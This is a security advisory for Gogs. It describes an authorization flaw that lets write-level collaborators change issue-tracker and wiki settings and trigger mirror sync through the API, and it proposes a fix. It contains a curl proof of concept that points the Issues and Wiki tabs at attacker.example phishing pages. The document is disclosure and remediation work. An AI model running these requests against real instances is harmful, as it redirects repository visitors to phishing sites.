GHSA-268j-37xf-pp52

## Summary Three API endpoints — `PATCH /api/v1/repos/:owner/:repo/issue-tracker`, `PATCH /api/v1/repos/:owner/:repo/wiki`, and `POST /api/v1/repos/:owner/:repo/mirror-sync` — are gated by `reqRepoWriter()` rather than `reqRepoAdmin()`. The equivalent operations in the web UI sit behind `reqRepoAdmin`, which requires `AccessMode >= AccessModeAdmin`. A write-level collaborator (who has `AccessMode == AccessModeWrite < AccessModeAdmin`) can therefore call these API endpoints directly to disable the native issue tracker or wiki, inject attacker-controlled external tracker/wiki URLs that redirect all repository visitors, or trigger mirror sync — none of which they are authorized to do. ## Severity **High** (CVSS 3.1: 7.1) `CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:L` - **Attack Vector:** Network — the API endpoints are reachable over HTTP/S. - **Attack Complexity:** Low — a single API call is sufficient; no chaining or race condition required. - **Privileges Required:** Low — only write-level collaborator access to the targeted repository is needed. The attacker does not need repo-admin or site-admin privileges. - **User Interaction:** None — the attacker acts unilaterally. - **Scope:** Unchanged — the impact is contained to the targeted repository's settings and its visitors. - **Confidentiality Impact:** None — the attacker does not read confidential data directly. - **Integrity Impact:** High — the attacker permanently mutates repository configuration, including injecting an external URL that redirects all visitors who click the Issues or Wiki tabs to an attacker-controlled site. - **Availability Impact:** Low — disabling the native issue tracker or wiki reduces the availability of those features for all repository participants. ## Affected component - `internal/route/api/v1/api.go` — route registration (lines 365–367) - `internal/route/api/v1/repo_repo.go` — `issueTracker()` (line 400), `wiki()` (line 437), `mirrorSync()` (line 463) ## CWE - **CWE-863**: Incorrect Authorization - **CWE-269**: Improper Privilege Management ## Description ### Three admin-equivalent API endpoints are protected by write-level middleware `api.go:365-367` registers the three settings endpoints with `reqRepoWriter()`: ```go // internal/route/api/v1/api.go:365-367 m.Patch("/issue-tracker", reqRepoWriter(), bind(editIssueTrackerRequest{}), issueTracker) m.Patch("/wiki", reqRepoWriter(), bind(editWikiRequest{}), wiki) m.Post("/mirror-sync", reqRepoWriter(), mirrorSync) ``` `reqRepoWriter()` (defined at `api.go:131-138`) passes any user whose repository `AccessMode >= AccessModeWrite`: ```go func reqRepoWriter() macaron.Handler { return func(c *context.Context) { if !c.Repo.IsWriter() { c.Status(http.StatusForbidden) return } } } ``` The handlers themselves perform no additional privilege check before mutating state: ```go // internal/route/api/v1/repo_repo.go:400-428 func issueTracker(c *context.APIContext, form editIssueTrackerRequest) { _, repo := parseOwnerAndRepo(c) ... if form.EnableExternalTracker != nil { repo.EnableExternalTracker = *form.EnableExternalTracker } if form.ExternalTrackerURL != nil { repo.ExternalTrackerURL = *form.ExternalTrackerURL // ← attacker-controlled URL written directly } ... database.UpdateRepository(repo, false) // ← no admin check before this call } ``` The `wiki()` handler (lines 437–461) follows the same pattern, writing `repo.ExternalWikiURL` directly and calling `UpdateRepository` with no admin gate. ### The web UI imposes a stricter admin requirement for the same operations `cmd/gogs/web.go:472` wraps the entire `/settings` subtree with `reqRepoAdmin`: ```go // cmd/gogs/web.go:425-472 m.Group("/:username/:reponame", func() { m.Group("/settings", func() { m.Combo("").Get(repo.Settings). Post(bindIgnErr(form.RepoSetting{}), repo.SettingsPost) ... }, ...) }, reqSignIn, context.RepoAssignment(), reqRepoAdmin, context.RepoRef()) ``` `context.RequireRepoAdmin()` (defined at `context/repo.go:434-441`) requires `AccessMode >= AccessModeAdmin`: ```go func RequireRepoAdmin() macaron.Handler { return func(c *Context) { if !c.IsLogged || (!c.Repo.IsAdmin() && !c.User.IsAdmin) { c.NotFound() return } } } ``` In the access mode hierarchy, `AccessModeWrite < AccessModeAdmin`. A write-level collaborator satisfies `reqRepoWriter()` but does not satisfy `RequireRepoAdmin()`. The API path provides the write-level collaborator with capabilities that the UI correctly withholds. ### Full execution chain 1. **Attacker precondition**: Attacker is added as a repository collaborator with write access (`AccessMode == AccessModeWrite`). 2. **API call**: `PATCH /api/v1/repos/OWNER/REPO/issue-tracker` with `Authorization: token WRITER_TOKEN` and body `{"enable_external_tracker":true,"external_tracker_url":"https://attacker.example/phish"}`. 3. **Middleware**: `reqRepoWriter()` checks `c.Repo.IsWriter()` → `AccessMode >= AccessModeWrite` → passes. 4. **Handler**: `issueTracker()` sets `repo.EnableExternalTracker = true` and `repo.ExternalTrackerURL = "https://attacker.example/phish"`, then calls `database.UpdateRepository(repo, false)`. No admin check occurs. 5. **Impact**: All visitors to the repository who click the "Issues" tab are redirected to the attacker's server. The native issue tracker is bypassed permanently until a repo admin reverses the change. ## Proof of Concept ```bash # Precondition: attacker is a collaborator with WRITE access, not repo admin. # 1) Redirect the Issues tab to an attacker-controlled phishing page curl -i -X PATCH "https://TARGET/api/v1/repos/OWNER/REPO/issue-tracker" \ -H "Authorization: token WRITER_TOKEN" \ -H "Content-Type: application/json" \ --data '{"enable_issues":false,"enable_external_tracker":true,"external_tracker_url":"https://attacker.example/phish"}' # Expected: HTTP 204 No Content # 2) Redirect the Wiki tab to an attacker-controlled page curl -i -X PATCH "https://TARGET/api/v1/repos/OWNER/REPO/wiki" \ -H "Authorization: token WRITER_TOKEN" \ -H "Content-Type: application/json" \ --data '{"enable_wiki":false,"enable_external_wiki":true,"external_wiki_url":"https://attacker.example/phish-wiki"}' # Expected: HTTP 204 No Content # 3) Force a mirror sync on a mirrored repository (potential resource abuse) curl -i -X POST "https://TARGET/api/v1/repos/OWNER/REPO/mirror-sync" \ -H "Authorization: token WRITER_TOKEN" # Expected: HTTP 202 Accepted ``` ## Impact - A write-level collaborator can permanently replace the native issue tracker with an external URL under attacker control, redirecting all repository visitors who follow the Issues link to a phishing or malware-serving page. - The same redirect attack applies to the Wiki tab via the external wiki URL setting. - Both redirects remain active until a repo admin or owner manually reverses the setting; the attacker has no way to be removed from having already made the change. - Mirror sync can be triggered repeatedly, potentially causing unnecessary load on the upstream mirror source or consuming network resources. - All three operations are silent — no notification is sent to repo admins when these settings change via the API. ## Recommended remediation ### Option 1: Change middleware to `reqRepoAdmin()` on all three endpoints (preferred) Replace `reqRepoWriter()` with `reqRepoAdmin()` at the route registration level. This is a one-line change per endpoint and aligns the API authorization with the web UI's established policy. ```go // internal/route/api/v1/api.go:365-367 m.Patch("/issue-tracker", reqRepoAdmin(), bind(editIssueTrackerRequest{}), issueTracker) m.Patch("/wiki", reqRepoAdmin(), bind(editWikiRequest{}), wiki) m.Post("/mirror-sync", reqRepoAdmin(), mirrorSync) ``` ### Option 2: Add an explicit admin check inside the handlers Add `c.Repo.IsAdmin()` checks at the top of `issueTracker()`, `wiki()`, and `mirrorSync()`. This is less preferred because it duplicates middleware logic in handler code, but it provides defense-in-depth if the route middleware is ever accidentally changed. ```go func issueTracker(c *context.APIContext, form editIssueTrackerRequest) { if !c.Repo.IsAdmin() { c.Status(http.StatusForbidden) return } ... } ``` ## Credit This vulnerability was discovered and reported by [bugbunny.ai](https://bugbunny.ai).